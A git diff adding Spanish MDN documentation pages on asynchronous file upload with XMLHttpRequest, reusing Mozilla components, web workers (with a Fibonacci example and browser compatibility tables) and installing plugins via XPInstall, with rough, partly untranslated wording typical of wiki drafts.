+ <li>La nueva lista de elementos se inserta en el bloque  {{ HTMLElement("div") }} llamando a este método {{ domxref("element.appendChild()") }}.</li>
+ <li>Para cada {{ domxref("File") }} en el {{ domxref("FileList") }} representado por <code>files</code>:
+  <ol>
+   <li>Crear un nuevo elemento de la lista ({{ HTMLElement("li") }}) y se inserta en la lista.</li>
+   <li>Crear un nuevo elemento imagen ({{ HTMLElement("img") }}).</li>
+   <li>Ajuste de la imagen de origen a un nuevo objeto URL representando el archivo, usando {{ domxref("window.URL.createObjectURL()") }} para crear la blob URL.</li>
+   <li>Ajuste la altura de la imagen a 60 píxeles.</li>
+   <li>Establecer el manejador de el evento de carga de imagen para liberar el objeto URL, Set up the image's load event handler to release the object URL, puesto que ya no se necesita una vez que la imagen se ha cargado. esto se hace llamando a el método {{ domxref("window.URL.revokeObjectURL()") }} , pasando en el objeto URL la cadena como lo especifica <code>img.src</code>.</li>
+   <li>Anexar el nuevo elemento lista a la lista.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Ejemplo_Cargando_archivos_seleccionado_por_el_usuario_(user-selected_file)">Ejemplo: Cargando archivos seleccionado por el usuario (user-selected file)</h2>
+
+<p>Otra cosa que tu podrías querer hacer es permitir al usuario cargar  un archivo o archivos seleccionados (por ejemplo, las imagenes seleccionadas con el ejemplo previo) a un servidor. Esto puede hacerse asincrónicamente muy facil.</p>
+
+<h3 id="Creando_las_tareas_de_carga">Creando las tareas de carga</h3>
+
+<p>Continuando con el código que genera las imágenes en miniatura en el ejemplo anterior, recordemos que cada imagen en la clase CSS "obj", con el correspondiente <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> adjunto en el atributo de el archivo. Esto nos permite fácilmente seleccionar todas las imagenes que el usuario ha escogido para ser cargadas con {{ domxref("Document.querySelectorAll()") }}, así:</p>
+
+<pre class="deki-transform">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>En la linea 2 se crea una matriz, llamada <code>imgs</code>, de todos los elemtos in el documento con la clase CSS "obj". en nuestro caso, estas serán todas las miniaturas de las imágenes.Una vez que obtenemos esa lista, es trivial pasar por la lista, creando una nueva instancia <code>FileUpload</code> para cada uno. Cada uno de estos manejadores de carga el archivo correspondiente.</p>
+
+<h3 id="Manejadores_de_procesos_de_carga_de_un_archivo">Manejadores de procesos de carga de un archivo</h3>
+
+<p>La función <code>FileUpload</code> acepta dos entradas: un elemento imagen y un archivo desde donde se leerán  los datos de la imagen</p>
+
+<pre class="deki-transform">function FileUpload(img, file) {
+  this.ctrl = createThrobber(img);
+  var xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  var self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          var percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          var canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  xhr.sendAsBinary(file.getAsBinary());
+}
+</pre>
+
+<p>La función <code>FileUpload()</code> muestra arriba crear un throbber, cada uno es usado para mostrar la información de progreso, a continuación se crea un <a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a> para manejar la carga de los datos.</p>
+
+<p>Antes de transferir los datos actualmente, varios pasos preparatorios se tienen:</p>
+
+<ol>
+ <li>El <code>XMLHttpRequest</code>'s upload "progress" listener esta configurado para actualizar la información Throbber con nuevo porcentaje, de modo que a medida que avanza la carga, el Throbber sera actualizado basado en la ultima información.</li>
+ <li>El <code>XMLHttpRequest</code>'s upload "load" manejador de evento esta configurado para actualizar como un 100% como la información de progreso (para garantizar que el indicador de progreso realmente alcanza el 100%, en caso de peculiaridades y granulidades durante el proceso). A continuación se elimina el thobber, puesto que este no es necesario. Esto hace que el Thobber desaparezca una vez que la carga esta completa.</li>
+ <li>La solicitud de carga de imagen se abre llamando el método <code>XMLHttpRequest</code>'s <code>open()</code> para empezar a generar la POST solicitud.</li>
+ <li>El tipo MIME para la carga esta configurada para llamar la función<code> XMLHttpRequest</code> function <code>overrideMimeType()</code>. En este caso, estamos usando un tipo MIME  genérico; puede o no ser necesario para configurar el tipo MIME para todo, dependiendo de su caso de uso.</li>
+ <li>Finalmente la función <code>XMLHttpRequest</code> <code>sendAsBinary()</code> es llamada para cargar el contenido de el archivo. <em>Esto necesita ser revisado; en la actualidad esta obsoleto la rutina para extraer datos desde archivos getAsBinary() síncrona.</em></li>
+</ol>
+
+<h3 id="Manejando_el_proceso_de_carga_para_un_archivo_asíncronicamente">Manejando el proceso de carga para un archivo, asíncronicamente</h3>
+
+<pre class="deki-transform">function fileUpload(file) {
+  // Please report improvements to: marco.buratto at tiscali.it
+
+  var fileName = file.name,
+    fileSize = file.size,
+    fileData = file.getAsBinary(), // works on TEXT data ONLY.
+    boundary = "xxxxxxxxx",
+    uri = "serverLogic.php",
+    xhr = new XMLHttpRequest();
+
+  xhr.open("POST", uri, true);
+  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request.
+  xhr.setRequestHeader("Content-Length", fileSize);
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState == 4) {
+      if ((xhr.status &gt;= 200 &amp;&amp; xhr.status &lt;= 200) || xhr.status == 304) {
+
+        if (xhr.responseText != "") {
+          alert(xhr.responseText); // display response.
+        }
+      }
+    }
+  }
+
+  var body = "--" + boundary + "\r\n";
+  body += "Content-Disposition: form-data; name='fileId'; filename='" + fileName + "'\r\n";
+  body += "Content-Type: application/octet-stream\r\n\r\n";
+  body += fileData + "\r\n";
+  body += "--" + boundary + "--";
+
+  xhr.send(body);
+  return true;
+}
+</pre>
+
+<p><em>Esto también necesita ser modificado para trabajar con datos binarios.</em></p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><code><a href="/en/DOM/File" title="en/DOM/File">File</a></code></li>
+ <li><code><a href="/en/DOM/FileList" title="en/DOM/FileList">FileList</a></code></li>
+ <li><a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a></li>
+ <li><a href="/En/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+</ul>
diff --git a/files/es/usar_código_de_mozilla_en_otros_proyectos/index.html b/files/es/usar_código_de_mozilla_en_otros_proyectos/index.html
new file mode 100644
index 0000000000..5cb8795395
--- /dev/null
+++ b/files/es/usar_código_de_mozilla_en_otros_proyectos/index.html
@@ -0,0 +1,15 @@
+---
+title: Usando código de Mozilla en otros proyectos
+slug: Usar_código_de_Mozilla_en_otros_proyectos
+tags:
+  - para_revisar
+  - páginas_a_traducir
+---
+<p>Hay varias maneras en las que puede usar código de Mozilla en su propio proyecto.</p>
+<ul> <li>Mozilla proporciona un plataforma de desarrollo para aplicaciones de escritorio, llama <a class="internal" href="/en/XUL" title="En/XUL">XUL</a>, sobre la cual usted puede construir aplicaciones.</li> <li>Varios componentes de la plataforma, tales como el motor de JavaScript <a class="internal" href="/en/SpiderMonkey" title="En/SpiderMonkey">SpiderMonkey</a>, pueden ser utilizados en su propio proyecto.</li> <li>Varios componentes de la plataforma, tales como el motor de JavaScript <a class="internal" href="/en/SpiderMonkey" title="En/SpiderMonkey">SpiderMonkey</a>, pueden ser utilizados en su propio proyecto sin el resto de la plataforma.</li> <li>También hay módulos que no son utilizados en Firefox pero están disponibles para el uso de otras aplicaciones; un ejemplo de esto es <a class="internal" href="/en/Rhino" title="En/Rhino">Rhino</a>, el motor JavaScript escrito en Java.</li> <li>Usted puede embeber <a class="internal" href="/en/Gecko" title="En/Gecko">Gecko</a>, el motor de renderizado utilizado por Firefox para procesar paginas web, como un navegador dentro de su propia aplicación.</li>
+</ul>
+<table class="mainpage-table"> <tbody> <tr> <td> <h2 id="Construyendo_aplicaciones_XUL">Construyendo aplicaciones XUL</h2> <dl> <dt><a class="internal" href="/en/The_Joy_of_XUL" title="En/The Joy of XUL">La alegria XUL</a></dt> <dd>La introducción a XUL; una lectura necesaria para los nuevos desarrolladores.</dd> <dt><a class="internal" href="/en/XUL_Reference" title="En/XUL Reference">XUL Referencia</a></dt> <dd>La referencia completa a XUL.</dd> <dt><a class="internal" href="../../../../en/XULRunner" rel="internal">XULRunner</a></dt> <dd>Un paquete runtime que puede ser utilizado para arrancar aplicaciones XUL y XPCOM con facilidad.</dd> <dt><a class="internal" href="../../../../en/Toolkit_API" rel="internal">Mozilla Toolkit</a></dt> <dd>Información acerca de la API Mozilla Toolkit.</dd> </dl> </td> <td> <h2 id="Usando_componentes_Mozilla">Usando componentes Mozilla</h2> <dl> <dt><a class="internal" href="/en/SpiderMonkey" title="en/SpiderMonkey">SpiderMonkey</a></dt> <dd>SpiderMonkey es el motor JavaScript runtime utilizado por proyectos de Mozilla.</dd> <dt><a class="internal" href="/en/NSPR" title="En/NSPR">NSPR</a></dt> <dd>El Netscape Portable Runtime proporciona una API de plataforma-neutal para nivel de sistema y funciones libc-type.</dd> <dt><a class="internal" href="/en/Necko" title="En/Necko">Necko</a></dt> <dd>La librería de red Mozilla proporciona la funcionalidad multi-plataforma de redes.</dd> </dl> </td> </tr> </tbody>
+</table>
+<h2 id="Embeber_Mozilla">Embeber Mozilla</h2>
+<p>Para información sobre embeber un buscador web en su propio proyecto vea <a class="internal" href="/en/Embedding_Mozilla" title="En/Embedding Mozilla">Embeber Mozilla</a>.</p>
+<p>{{ languages( { "ja": "ja/Using_Mozilla_code_in_other_projects", "zh-cn": "cn/Using_Mozilla_code_in_other_projects"} ) }}</p>
diff --git a/files/es/usar_web_workers/index.html b/files/es/usar_web_workers/index.html
new file mode 100644
index 0000000000..0dacf19312
--- /dev/null
+++ b/files/es/usar_web_workers/index.html
@@ -0,0 +1,260 @@
+---
+title: Usar web workers
+slug: Usar_web_workers
+tags:
+  - Firefox 3.5
+  - Gecko 1.9.1
+  - HTML5
+  - JavaScript
+  - Workers
+  - para_revisar
+---
+<p>{{ gecko_minversion_header ("1.9.2") }}</p>
+<p>Workers constituye un medio sencillo para que el contenido web ejecute secuencias de comandos en subprocesos en segundo plano. Una vez creado, un worker puede enviar mensajes a la tarea de generación mediante la publicación de mensajes en un controlador de eventos especificado por el creador.</p>
+<p>El subproceso del worker puede realizar tareas sin interferir con la interfaz de usuario.  Además, pueden realizar E / S utilizando <code><a class="internal" href="/en/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code> (aunque los atributos <code>responseXML</code> y <code>channel</code> siempre son nulos).</p>
+<div class="note">
+  <strong>Nota:</strong> como de costumbre, los subprocesos en segundo plano, incluyendo los workers, no pueden manipular el DOM.  Si las acciones adoptadas por el subproceso en segundo plano tienen que dar lugar a cambios en el DOM, deben enviar mensajes a sus creadores para hacer ese trabajo.</div>
+<p>Consulta el documento de referencia <a class="internal" href="/En/DOM/Worker" title="En/DOM/Worker">Worker</a> , al que este artículo complementa ofreciendo ejemplos y añadiendo detalles. Para obtener una lista de funciones disponibles para workers, consulta <a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">Funciones disponibles para workers</a> .</p>
+<h2 id="Acerca_de_la_seguridad_en_los_subprocesos">Acerca de la seguridad en los subprocesos</h2>
+<p>La interfaz <code>Worker</code> genera subprocesos a nivel del sistema operativo y la simultaneidad puede producir efectos interesantes en el código si no tienes cuidado. Sin embargo, en el caso de web workers, los puntos de comunicación controlados cuidadosamente con otros subprocesos supone que en realidad sea muy difícil causar problemas de simultaneidad.  No hay acceso a componentes sin subprocesos seguros o al DOM y tienes que pasar datos específicos dentro y fuera de un subproceso a través de objetos serializados.  Así que te tienes que esforzar mucho para causar problemas en el código.</p>
+<h2 id="Generar_un_worker">Generar un worker</h2>
+<p>Crear un nuevo worker es simple.  Lo único que tienes que hacer es llamar al constructor <code>Worker()</code>, especificando el URI de un script para ejecutar en el subproceso del worker y, si deseas poder recibir las notificaciones del worker, establece la propiedad <code>onmessage</code> del worker a una función de manejador de evento adecuada.</p>
+<pre class="brush: js">var myWorker = new Worker('my_worker.js');
+myWorker.onmessage = function(event) {
+  print("Llamado de nuevo por el worker\n");
+};</pre>
+<p>De forma alternativa, podemos usar <code>addEventListener()</code>:</p>
+<pre class="brush: js">var worker = new Worker('my_worker.js');
+worker.addEventListener('message', function(event) {
+ console.log("Called back by the worker!\n");
+}, false);
+
+worker.postMessage(""); // Iniciar el worker.
+</pre>
+<p>La línea 1 de este ejemplo crea e inicia el subproceso del worker. La línea 2 establece el controlador <code>onmessage</code> para el worker a una función que se llama cuando éste pide su propia función <code>postMessage()</code>.</p>
+<div class="note">
+  <strong>Nota</strong>: La URI pasada como parámetro del constructor del <code>Worker</code> debe obedecer la política del <a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">mismo origen o same-origin policy</a>. Actualmente hay un desacuerdo en los diferentes desarrolladores de navegadores acerca de si las URIs han de ser del mismo origen o no; Gecko 10.0 {{ geckoRelease("10.0") }} y posteriores permiten cualquier URI como script válido para workers, otros navegadores pueden no permitirlo.</div>
+<h2 id="Generar_subworkers">Generar subworkers</h2>
+<p>Los workers pueden generar más workers si así lo desean.  Los llamados subworkers deben estar alojados en el mismo origen que la página principal.  Además, los URI para los subworkers se resuelven en relación a la ubicación del worker principal y no en relación a la de la página propietaria.  Esto hace que sea más fácil que los workers realicen un seguimiento de dónde están sus dependencias.</p>
+<h2 id="Tiempos_de_espera_e_intervalos">Tiempos de espera e intervalos</h2>
+<p>Los workers pueden utilizar los tiempos de espera y los intervalos al igual que el proceso principal.  Esto puede ser útil, por ejemplo, si quieres hacer que tu subproceso del worker ejecute código de manera periódica en lugar de ininterrumpidamente.</p>
+<p>Consulta <a class="internal" href="/en/DOM/window.setTimeout" title="En/DOM/Window.setTimeout"><code>setTimeout()</code></a>, <a class="internal" href="/en/DOM/window.clearTimeout" title="En/DOM/Window.clearTimeout"><code>clearTimeout()</code></a>, <a class="internal" href="/en/DOM/window.setInterval" title="En/DOM/Window.setInterval"><code>setInterval()</code></a> y <a class="internal" href="/en/DOM/window.clearInterval" title="En/DOM/Window.clearInterval"><code>clearInterval()</code></a> si deseas tener más detalles.</p>
+<h2 id="Terminar_un_worker">Terminar un worker</h2>
+<p>Si tienes que cancelar inmediatamente un worker que se está ejecutando, puedes hacerlo llamando al método <code>terminate()</code> del worker:</p>
+<pre class="brush: js">myWorker.terminate();
+</pre>
+<p>El subproceso del worker se interrumpe inmediatamente y sin tener la posibilidad de terminar sus operaciones o limpiar por sí mismo.</p>
+<p>Los workers pueden cerrarse llamando a su propio método {{ ifmethod("nsIWorkerScope", "close") }}.</p>
+<h2 id="Gestión_de_errores">Gestión de errores</h2>
+<p>Cuando se produce un error de ejecución en el worker, es llamado su controlador de enventos <code>onerror</code>.  Recibe un evento denominado <code>error</code> que implementa la interfaz <code>ErrorEvent</code>.  El evento no se lanza y se puede cancelar, para evitar que la acción predeterminada tenga lugar, el worker puede llamar al método <a class="internal" href="../../../../en/DOM/event.preventDefault" rel="internal"><code>preventDefault()</code></a> del evento de error.</p>
+<p>El evento de error tiene los siguientes tres campos que son de interés:</p>
+<dl>
+  <dt>
+    <code>message</code></dt>
+  <dd>
+    Un mensaje de error legible para el ojo humano.</dd>
+  <dt>
+    <code>filename</code></dt>
+  <dd>
+    El nombre del archivo de script en el que se produjo el error.</dd>
+  <dt>
+    <code>lineno</code></dt>
+  <dd>
+    El número de línea del archivo de script en el que se produjo el error.</dd>
+</dl>
+<h2 id="Acceder_al_objeto_navegador">Acceder al objeto navegador</h2>
+<p>Los workers pueden acceder al objeto <code>navigator</code>, que está disponible dentro de su ámbito.  Contiene las siguientes cadenas de texto que pueden usarse para identificar el navegador, tal y como se puede hacer a partir de secuencias de comandos normales:</p>
+<ul>
+  <li><code>appName</code></li>
+  <li><code>appVersion</code></li>
+  <li><code>platform</code></li>
+  <li><code>userAgent</code></li>
+</ul>
+<h2 id="Importar_de_secuencias_de_comandos_y_bibliotecas">Importar de secuencias de comandos y bibliotecas</h2>
+<p>Los subprocesos de trabajo tienen acceso a una función global, importScripts (), que les permite importar secuencias de comandos de comandos o bibliotecas dentro de su ámbito.  Acepta como parámetros cero o más URI de recursos para la importación, todos los ejemplos siguientes son válidos:</p>
+<pre class="brush: js">importScripts();                        /* no importa nada */
+importScripts('foo.js');                /* importa solo "foo.js" */
+importScripts('foo.js', 'bar.js');      /* importa dos scripts */
+</pre>
+<p>Firefox carga cada secuencia de comandos de la lista, luego los ejecuta para permitirles que se inicialicen ellos mismos.  Los objetos globales de cada secuencia de comandos pueden entonces ser utilizados por el worker.</p>
+<div class="note">
+  <strong>Nota:</strong> los scripts pueden ser descargados en cualquier orden, pero no se ejecutarán en el orden en que pasas los nombres de archivo a <code>importScripts()</code> .  Esto se realiza de forma sincrónica; <code>importScripts()</code> no retorna hasta que todas las secuencias de comandos se han cargado y ejecutado.</div>
+<p> </p>
+<h2 id="Ejemplos">Ejemplos</h2>
+<p>Esta sección incluye varios ejemplos de cómo utilizar los DOM workers.</p>
+<h3 id="Realizar_cálculos_en_segundo_plano">Realizar cálculos en segundo plano</h3>
+<p>Una utilidad de los workers es permitir que tu código realice cálculos intensivos en el procesador sin bloquear el subproceso de interfaz de usuario.  En este ejemplo, un worker se utiliza para calcular los números de Fibonacci.</p>
+<h4 id="El_código_JavaScript">El código JavaScript</h4>
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+<p>La función <code>onmessage</code> es llamada cuando el código HTML llamada al <code>postMessage()</code> en el worker.  Esto inicia la recursividad, generando copias nuevas de sí mismo para controlar cada iteración del cálculo.</p>
+<h4 id="El_código_HTML">El código HTML</h4>
+<pre class="brush: html">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;
+&lt;html&gt;
+  &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>La página web crea un elemento <code>div</code> con el id. de cliente <code>result</code> , que se utiliza para mostrar el resultado, a continuación, genera el worker.  Tras generar el worker, el manejador<code>onmessage</code> está configurado para mostrar los resultados mediante el ajuste de los contenidos del elemento <code>div</code>, y el manejador <code>onerror</code> se establece para <a href="/en/Debugging_JavaScript#dump()" title="en/Debugging JavaScript#dump()">volcar</a> el mensaje de error.</p>
+<p>Por último, se envía un mensaje al worker para iniciarlo.</p>
+<p><a href="/samples/workers/fibonacci" title="samples/workers/fibonacci">Prueba este ejemplo</a> .</p>
+<h3 id="Realizar_E_S_de_web_en_segundo_plano">Realizar E / S de web en segundo plano</h3>
+<p>Puedes encontrar un ejemplo de esto en el artículo <a class="internal" href="/En/Using_workers_in_extensions" title="En/Using workers in extensions">Usar  workers en las extensiones</a> .</p>
+<h3 id="Dividir_tareas_entre_varios_workers">Dividir tareas entre varios workers</h3>
+<p>A medida que los equipos con varios núcleos se hacen cada vez más frecuentes, resulta útil dividir las tareas  complejas, desde el punto de vista computacional, entre varios workers, que a su vez pueden llevar a cabo esas tareas en núcleos de procesador múltiple.</p>
+<p>el ejemplo se incluirá muy pronto</p>
+<h3 id="Crear_workers_desde_dentro_de_los_workers">Crear workers desde dentro de los workers</h3>
+<p>El ejemplo de Fibonacci mostrado anteriormente demuestra que los workers pueden, de hecho, generar más workers.  Esto facilita crear rutinas repetitivas.</p>
+<h3 id="Enviar_objetos_a_los_workers">Enviar objetos a los workers</h3>
+<p>Puede pasar con seguridad los objetos dentro y fuera de los workers que utilizan el método <code>postMessage()</code>, los objetos se convierten automáticamente en <a class="internal" href="/en/JSON" title="En/JSON">JSON</a> de manera interna.</p>
+<pre class="brush: js">var onmessage = function(e) {
+  postMessage(e.data);
+};</pre>
+<div class="note">
+  <strong>Nota: los</strong> objetos que se introducen o se extraer de los workers no deben contener funciones o referencias cíclicas, ya que JSON no es compatible con ellas.</div>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari (WebKit)</th>
+      </tr>
+      <tr>
+        <td>Workers dedicados</td>
+        <td>3</td>
+        <td>3.5 (1.9.1)</td>
+        <td>10</td>
+        <td>10.60</td>
+        <td>4</td>
+      </tr>
+      <tr>
+        <td>Workers compartidos</td>
+        <td>5</td>
+        <td>---</td>
+        <td>---</td>
+        <td>10.60</td>
+        <td>5</td>
+      </tr>
+      <tr>
+        <td>Pasar datos usando <a href="/en/DOM/The_structured_clone_algorithm" title="El algoritmo de clonación estructurada">clonación estructurada</a>. </td>
+        <td>13</td>
+        <td>8</td>
+        <td>10</td>
+        <td>11.50</td>
+        <td>5.1</td>
+      </tr>
+      <tr>
+        <td>Pasar datos usando <a class="external" href="http://dev.w3.org/html5/spec/common-dom-interfaces.html#transferable-objects" title="http://dev.w3.org/html5/spec/common-dom-interfaces.html#transferable-objects">objetos transferibles</a></td>
+        <td>17 {{ property_prefix("webkit") }}</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Phone</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Workers dedicados</td>
+        <td>---</td>
+        <td>0.16</td>
+        <td>---</td>
+        <td>---</td>
+        <td>11</td>
+        <td>5</td>
+      </tr>
+      <tr>
+        <td>Workers compartidos</td>
+        <td>---</td>
+        <td>{{ CompatNo() }}</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+      </tr>
+      <tr>
+        <td>Pasar datos usando <a href="/en/DOM/The_structured_clone_algorithm" title="El algoritmo de clonación estructurada">clonación estructurada</a>. </td>
+        <td>---</td>
+        <td>0.16</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+        <td>---</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="Consulta_también">Consulta también</h2>
+<ul>
+  <li>{{ spec("http://dev.w3.org/html5/workers/", "Especificación API de ficheros: Web Workers", "ED") }}</li>
+  <li><a class="internal" href="/En/DOM/Worker" title="En/DOM/Worker">Worker</a> interface</li>
+  <li><a class="internal" href="/En/DOM/SharedWorker" title="En/DOM/SharedWorker">SharedWorker</a> interface</li>
+  <li><a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">Funciones disponibles para workers</a></li>
+  <li><a class="external" href="http://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers" title="http://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers">HTML5Rocks - Lo básico sobre Web Workers</a></li>
+</ul>
+<p>{{ HTML5ArticleTOC() }}</p>
+<p>{{ languages ( {"en": "En/Using_web_workers"} ) }}</p>
diff --git a/files/es/usar_xpinstall_para_instalar_plugins/index.html b/files/es/usar_xpinstall_para_instalar_plugins/index.html
new file mode 100644
index 0000000000..260a29a8e5
--- /dev/null
+++ b/files/es/usar_xpinstall_para_instalar_plugins/index.html
@@ -0,0 +1,236 @@
+---
+title: Usar XPInstall para instalar plugins
+slug: Usar_XPInstall_para_instalar_plugins
+tags:
+  - Plugins
+  - Todas_las_Categorías
+  - XPInstall
+---
+<p>
+</p><p><a href="es/XPInstall">XPInstall</a> es una tecnología de instalación basada en JavaScript que funciona en todas las plataformas en las que pueden instalarse los navegadores de <a class="external" href="http://mozilla.org">Mozilla</a> y los de Netscape basados en Mozilla. Puede ser un modo para asegurarle al usuario una plácida experiencia a la hora de obtener plugins, sin obligarlo a abandonar el entorno de navegación para ejecutar un instalador binario (el típico setup.exe en Windows) ni forzarlo a reiniciar su navegador. Los fabricantes de plugins que ya hayan escrito un instalador en código nativo (p.e., EXE) pueden incluir dicho instalador y ejecutarlo para que el usuario no tenga que abandonar el entorno del navegador y hacer clic en el EXE para ejecutarlo. Este artículo muestra una guía de estilo para mejorar la experiencia en la instalación de un plugin para los navegadores de Netscape Gecko utilizando <a href="es/XPInstall_API_Reference">XPInstall</a>.
+</p>
+<h3 id="Definici.C3.B3n_de_t.C3.A9rminos"> Definición de términos </h3>
+<p>XPInstall es una tecnología de instalación. El propio nombre significa "Cross Platform Install" (instalador multiplataforma) y de ahí lo de "XP" (abreviatura en inglés de "multiplataforma"). Un paquete XPInstall es generalmente llamado un paquete XPI para abreviar (y pronunciado generalmente "zippy" en inglés). Este artículo explica cómo se puede usar XPInstall para instalar plugin en los navegadores que soporten XPInstall.
+</p><p>Un paquete XPI es de hecho un fichero ZIP con la extensión XPI (p.e., myPluginInstaller.xip) y puede ser creado en Windows con utilidades tipo WinZip. Los paquetes XPI, como los ficheros ZIP, <i>contienen</i> otros ficheros, normalmente:
+</p>
+<ul><li> El componente software que va a ser instalado. En nuestro caso es el software del plugin.
+</li><li> Un fichero JavaScript llamado install.js, el cual contiene la lógica que conduce la instalación. Esto incluye instrucciones que indican dónde se va a instalar el software y mensajes para informar al usuario.
+</li></ul>
+<p>Un fichero XPInstall se puede crear empaquetando primero los elementos que se quieran instalar con WinZip (es decir, crear un fichero ZIP) y renombrarlo con la extensión XPI en lugar de ZIP.
+</p><p>A diferencia de los instaladores compilados para código nativo (p.e., los típicos ficheros setup.exe), el lenguaje de programación para las operaciones de instalación en XPI es JavaScript. Como el formato de fichero que contiene al software y al fichero JavaScript install.js es multiplataforma (Zip) y ya que los navegadores de Mozilla para todas las plataformas reconocen JavaScript, generalmente un único paquete XPI sirve para todas las plataformas. Así es, de hecho, <a class="external" href="http://www.mozilla.org/docs/xul/xulnotes/xulnote_packages.html">cómo las pieles y los temas son instalados en los navegadores de Mozilla</a>, cambiando su aspecto y apariencia. Este artículo se centra en cómo instalar plugins.
+</p>
+<h3 id=".C2.BFQu.C3.A9_navegadores_soportan_XPInstall.3F"> ¿Qué navegadores soportan XPInstall? </h3>
+<p>Actualmente, todos los <a class="external" href="http://mozilla.org/releases/stable.html">navegadores de Mozilla liberados por mozilla.org</a> y la familia de navegadores basados en el código de Mozilla soportan XPInstall. Concretamente, están incluidos:
+</p>
+<ul><li> Los navegadores recientes de Netscape tales como Netscape 6.2.x y Netscape 7.0, ambos basados en Netscape Gecko que es el núcleo del navegador Mozilla.
+</li></ul>
+<ul><li> Las versiones recientes <b>sólo beta</b> del software de AOL basado en Netscape Gecko, el motor de renderizado del proyecto Mozilla.
+</li></ul>
+<p><b>Advertencias:</b>
+</p>
+<ul><li> El <a class="external" href="http://www.compuserve.com/">navegador CompuServe</a> de AOL Time Warner, basado también en Netscape Gecko, no soporta XPInstall.
+</li></ul>
+<ul><li> Netscape Communicator 4.x no soporta XPInstall.
+</li></ul>
+<h3 id=".C2.BFEn_qu.C3.A9_consiste_un_plugin.3F"> ¿En qué consiste un plugin? </h3>
+<p>Los plugins pueden estar compuestos de los siguientes tipos de fichero, pudiendo ser todos ellos instalados desde un paquete XPI:
+</p>
+<ul><li> <b>Bibliotecas compartidas</b> (p.e., en Windows, son DLLs, en Unix son los ficheros *.so). Dichos ficheros están compilados en código nativo con la <a href="es/Gecko_Plugin_API_Reference">API para plugins de Netscape</a>.
+</li></ul>
+<ul><li> Si el plugin es scriptable, entonces también consistirá en un <a href="es/Gecko_Plugin_API_Reference/Plug-in_Development_Overview">fichero XPT</a>. Un ejemplo podría ser Flash 6r47 en Windows, el cual está compuesto por una DLL (llamada npswf32.dll) y un fichero XPT para la programación (llamado flashplayer.xpt). Si estás desarrollando un plugin y quieres <a href="es/Gecko_Plugin_API_Reference/Plug-in_Development_Overview">hacerlo scriptable</a>, mírate las partes importantes de la <a href="es/Gecko_Plugin_API_Reference">API para plugins</a>.
+</li></ul>
